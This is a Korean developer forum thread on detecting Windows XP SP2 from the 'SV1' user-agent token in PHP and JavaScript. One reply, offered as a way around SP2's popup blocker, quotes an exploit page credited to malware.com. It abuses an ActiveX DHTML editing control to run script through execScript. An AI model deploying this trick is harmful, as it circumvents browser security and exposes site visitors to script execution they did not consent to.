OS가 Windows SP2 일 경우 $HTTP_USER_AGENT 가 어떻게 표기되나요? 저나 주위에 SP2 쓰시는 분이 없어서 테스트를 못해보네요.. ㅡㅡ;; 그리고 자바스크립트에서 위와 같은 혹은 비슷한 기능을 하는 함수가 있다면 알려주시면 고맙겠습니다. 미리 감사드립니다..
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
WinXP SP2 : Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
============================================================================================
서비스팩2를 설치한 사용자의 경우 팝업창을 띄우면 하단에 상태표시줄이 사라지지 않아서 사이즈를 세로 20px 더 잡아줘야하는등.. 뭐... 하여간 이래저래 변경사항이 많습니다.
서비스팩2를 설치하여 사용하는 사용자인가의 여부를 판별하기 위한 초간단 팁~! 같지도 않은 팁!
if(eregi("SV1",$_SERVER['HTTP_USER_AGENT'])) { $servicePack = "사용"; } else { $servicePack = "안사용"; }
재량껏 사용하기 바랍니다.
===============================================================================
서비스팩2를 깔고 HTTP_USER_AGENT를 보면 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
그렇지 않은 버전이면 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) 이렇게 나옵니다.
===============================================================================
[자바스크립트에서]
isopen = window.open("pop.html"); if(isopen == false){ alert("새창띄우기 실패"); }
===============================================================================
<script language="javascript"> function my_resize() { var g_fIsSP2 = false; g_fIsSP2 = (window.navigator.userAgent.indexOf("SV1") != -1); if (g_fIsSP2) { // XP SP2 브라우저임.. window.resizeTo(600,522); } else { //XP SP2 브라우저가 아님. window.resizeTo(600,502); } } </script>
<body omLoad="my_resize();">
===============================================================================
XP SP2 팝업방지 기능 무시하고 팝업창 띄우기.
<HTML> <HEAD> <TITLE>malware.com</TITLE> <META NAME="Author" CONTENT="malware.com"> <meta name="robots" content="noindex, nofollow"> </HEAD>
<body omload="setTimeout(' main() ',1000)"> <object id="x" classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" width="1" height="1" align="middle" > <PARAM NAME="ActivateApplets" VALUE="1"> <PARAM NAME="ActivateActiveXControls" VALUE="1"> </object>
<SCRIPT>
function main() { x.DOM.Script.execScript(shellscript.toString()); x.DOM.Script.setTimeout("shellscript()"); } </SCRIPT> <br><br><br><br><br><br><center><img src=nocigar.gif><br><br><FONT FACE=ARIAL SIZE 12PT>NO CIGAR !</FONT></center> </body> </html>
============================================================================
요즘 sp2때문에 신경쓰이죠 저는 아직 이것땜에 신경쓸 일은 없었는데 누가 sp2설치여부를 확인할 수 있을까 물어보시길래 혹시나 ie에서 user-agent가 다를까 싶어 찾아봤더니 그냥 xp랑.. sp2가 설치된 xp랑 조금 다르네요 확인사살로 구글에서 검색해본 결과
function browserVersion(){ tmp_MSIE = window.navigator.userAgent.indexOf("MSIE"); if(tmp_MSIE && window.navigator.userAgent.indexOf("SV1") > tmp_MSIE){ //This browser is Internet Explorer with SP2. return true; } else { //This browser is not Internet Explorer with SP2. return false; } } var xpie_SP2 = browserVersion();
요점은... php에서 $_SERVER['HTTP_USER_AGENT'] 값이나.. javascript에서 navigator.userAgent값을 보면 그냥 xp는 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) 이렇게 나오구요 sp2를 설치하면 Windows NT 5.1; SV1 이렇게 SV1이 추가로 나옵니다.
당연히 IE가 아니면 안나오겠죠..?
|